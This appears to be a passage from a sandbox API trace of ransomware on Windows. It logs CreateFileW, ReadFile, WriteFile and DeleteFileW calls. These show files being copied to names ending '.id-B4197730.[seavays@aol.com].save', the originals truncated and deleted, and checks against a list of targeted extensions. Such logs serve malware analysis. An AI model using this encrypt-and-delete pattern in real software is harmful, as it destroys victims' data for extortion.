(lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.301] GetLastError () returned 0x0 [0052.301] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x151aa, lpOverlapped=0x0) returned 1 [0052.304] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x151b0, lpOverlapped=0x0) returned 1 [0052.306] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.306] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xf6, lpOverlapped=0x0) returned 1 [0052.306] SetEndOfFile (hFile=0x308) returned 1 [0052.307] CloseHandle (hObject=0x308) returned 1 [0052.309] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.309] SetEndOfFile (hFile=0x304) returned 1 [0052.310] CloseHandle (hObject=0x304) returned 1 [0052.310] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.310] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1 [0052.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0052.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0052.311] lstrlenW (lpString=".doc") returned 4 [0052.311] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.311] lstrlenW (lpString=".docx") returned 5 [0052.311] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.311] lstrlenW (lpString=".pdf") returned 4 [0052.311] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.311] lstrlenW (lpString=".xls") returned 4 [0052.311] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.311] lstrlenW (lpString=".xlsx") returned 5 [0052.311] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.311] lstrlenW (lpString=".ppt") returned 4 [0052.311] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0052.311] lstrlenW (lpString=".zip") returned 4 [0052.311] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.311] lstrlenW (lpString=".rar") returned 4 [0052.311] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.311] lstrlenW (lpString=".bz2") returned 4 [0052.311] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.311] lstrlenW (lpString=".7z") returned 3 [0052.311] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0052.311] lstrlenW (lpString=".dbf") returned 4 [0052.311] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0052.311] lstrlenW (lpString=".1cd") returned 4 [0052.311] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0052.312] lstrlenW (lpString=".jpg") returned 4 [0052.312] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0052.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0052.312] lstrlenW (lpString=".doc") returned 4 [0052.312] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.312] lstrlenW (lpString=".docx") returned 5 [0052.312] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.312] lstrlenW (lpString=".pdf") returned 4 [0052.312] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.312] lstrlenW (lpString=".xls") returned 4 [0052.312] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.312] lstrlenW (lpString=".xlsx") returned 5 [0052.312] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.312] lstrlenW (lpString=".ppt") returned 4 [0052.312] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0052.312] lstrlenW (lpString=".zip") returned 4 [0052.312] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.312] lstrlenW (lpString=".rar") returned 4 [0052.312] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.312] lstrlenW (lpString=".bz2") returned 4 [0052.312] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.312] lstrlenW (lpString=".7z") returned 3 [0052.312] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0052.312] lstrlenW (lpString=".dbf") returned 4 [0052.312] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0052.312] lstrlenW (lpString=".1cd") returned 4 [0052.312] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0052.312] lstrlenW (lpString=".jpg") returned 4 [0052.313] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.313] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0052.313] lstrlenW (lpString="eula.rtf") returned 8 [0052.313] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.313] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3643) returned 1 [0052.313] CloseHandle (hObject=0x304) returned 1 [0052.314] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0052.314] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.314] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.314] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.314] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.314] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.314] GetLastError () returned 0x0 [0052.314] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xe3b, lpOverlapped=0x0) returned 1 [0052.316] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xe40, lpOverlapped=0x0) returned 1 [0052.316] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.317] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xe4, lpOverlapped=0x0) returned 1 [0052.317] SetEndOfFile (hFile=0x308) returned 1 [0052.317] CloseHandle (hObject=0x308) returned 1 [0052.318] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.318] SetEndOfFile (hFile=0x304) returned 1 [0052.319] CloseHandle (hObject=0x304) returned 1 [0052.319] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.319] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1 [0052.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0052.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0052.320] lstrlenW (lpString=".doc") returned 4 [0052.320] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.320] lstrlenW (lpString=".docx") returned 5 [0052.320] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.320] lstrlenW (lpString=".pdf") returned 4 [0052.320] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.320] lstrlenW (lpString=".xls") returned 4 [0052.320] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.320] lstrlenW (lpString=".xlsx") returned 5 [0052.320] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.320] lstrlenW (lpString=".ppt") returned 4 [0052.320] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0052.320] lstrlenW (lpString=".zip") returned 4 [0052.320] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.320] lstrlenW (lpString=".rar") returned 4 [0052.320] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.320] lstrlenW (lpString=".bz2") returned 4 [0052.320] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.320] lstrlenW (lpString=".7z") returned 3 [0052.320] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0052.320] lstrlenW (lpString=".dbf") returned 4 [0052.320] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0052.320] lstrlenW (lpString=".1cd") returned 4 [0052.320] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0052.320] lstrlenW (lpString=".jpg") returned 4 [0052.320] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0052.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0052.321] lstrlenW (lpString=".doc") returned 4 [0052.321] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.321] lstrlenW (lpString=".docx") returned 5 [0052.321] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.321] lstrlenW (lpString=".pdf") returned 4 [0052.321] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.321] lstrlenW (lpString=".xls") returned 4 [0052.321] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.321] lstrlenW (lpString=".xlsx") returned 5 [0052.321] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.321] lstrlenW (lpString=".ppt") returned 4 [0052.321] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0052.321] lstrlenW (lpString=".zip") returned 4 [0052.321] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.321] lstrlenW (lpString=".rar") returned 4 [0052.321] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.321] lstrlenW (lpString=".bz2") returned 4 [0052.321] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.321] lstrlenW (lpString=".7z") returned 3 [0052.321] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0052.321] lstrlenW (lpString=".dbf") returned 4 [0052.321] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0052.321] lstrlenW (lpString=".1cd") returned 4 [0052.321] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0052.321] lstrlenW (lpString=".jpg") returned 4 [0052.321] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.322] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0052.322] lstrlenW (lpString="LocalizedData.xml") returned 17 [0052.322] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.322] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=80060) returned 1 [0052.322] CloseHandle (hObject=0x304) returned 1 [0052.322] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0052.322] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.322] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.322] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.322] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.322] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.323] GetLastError () returned 0x0 [0052.323] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x138bc, lpOverlapped=0x0) returned 1 [0052.779] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x138c0, lpOverlapped=0x0) returned 1 [0052.781] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.781] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xf6, lpOverlapped=0x0) returned 1 [0052.781] SetEndOfFile (hFile=0x308) returned 1 [0052.782] CloseHandle (hObject=0x308) returned 1 [0052.784] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.784] SetEndOfFile (hFile=0x304) returned 1 [0052.785] CloseHandle (hObject=0x304) returned 1 [0052.785] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.786] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1 [0052.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0052.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0052.786] lstrlenW (lpString=".doc") returned 4 [0052.786] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.786] lstrlenW (lpString=".docx") returned 5 [0052.786] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.786] lstrlenW (lpString=".pdf") returned 4 [0052.786] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.786] lstrlenW (lpString=".xls") returned 4 [0052.786] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.786] lstrlenW (lpString=".xlsx") returned 5 [0052.786] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.786] lstrlenW (lpString=".ppt") returned 4 [0052.786] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0052.786] lstrlenW (lpString=".zip") returned 4 [0052.786] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.787] lstrlenW (lpString=".rar") returned 4 [0052.787] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.787] lstrlenW (lpString=".bz2") returned 4 [0052.787] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.787] lstrlenW (lpString=".7z") returned 3 [0052.787] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0052.787] lstrlenW (lpString=".dbf") returned 4 [0052.787] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0052.787] lstrlenW (lpString=".1cd") returned 4 [0052.787] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0052.787] lstrlenW (lpString=".jpg") returned 4 [0052.787] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0052.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0052.787] lstrlenW (lpString=".doc") returned 4 [0052.787] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.787] lstrlenW (lpString=".docx") returned 5 [0052.787] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.787] lstrlenW (lpString=".pdf") returned 4 [0052.787] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.787] lstrlenW (lpString=".xls") returned 4 [0052.787] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.787] lstrlenW (lpString=".xlsx") returned 5 [0052.787] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.787] lstrlenW (lpString=".ppt") returned 4 [0052.787] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0052.787] lstrlenW (lpString=".zip") returned 4 [0052.787] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.787] lstrlenW (lpString=".rar") returned 4 [0052.788] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.788] lstrlenW (lpString=".bz2") returned 4 [0052.788] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.788] lstrlenW (lpString=".7z") returned 3 [0052.788] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0052.788] lstrlenW (lpString=".dbf") returned 4 [0052.788] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0052.788] lstrlenW (lpString=".1cd") returned 4 [0052.788] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0052.788] lstrlenW (lpString=".jpg") returned 4 [0052.788] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.788] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0052.788] lstrlenW (lpString="eula.rtf") returned 8 [0052.788] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.789] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=54456) returned 1 [0052.789] CloseHandle (hObject=0x304) returned 1 [0052.789] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0052.789] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.789] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.789] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.789] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.789] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.789] GetLastError () returned 0x0 [0052.789] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xd4b8, lpOverlapped=0x0) returned 1 [0052.792] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xd4c0, lpOverlapped=0x0) returned 1 [0052.793] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.793] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xe4, lpOverlapped=0x0) returned 1 [0052.793] SetEndOfFile (hFile=0x308) returned 1 [0052.794] CloseHandle (hObject=0x308) returned 1 [0052.795] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.795] SetEndOfFile (hFile=0x304) returned 1 [0052.796] CloseHandle (hObject=0x304) returned 1 [0052.796] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.797] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1 [0052.797] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0052.797] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0052.797] lstrlenW (lpString=".doc") returned 4 [0052.797] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.797] lstrlenW (lpString=".docx") returned 5 [0052.797] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.797] lstrlenW (lpString=".pdf") returned 4 [0052.797] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.797] lstrlenW (lpString=".xls") returned 4 [0052.797] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.797] lstrlenW (lpString=".xlsx") returned 5 [0052.797] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.797] lstrlenW (lpString=".ppt") returned 4 [0052.797] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.798] lstrlenW 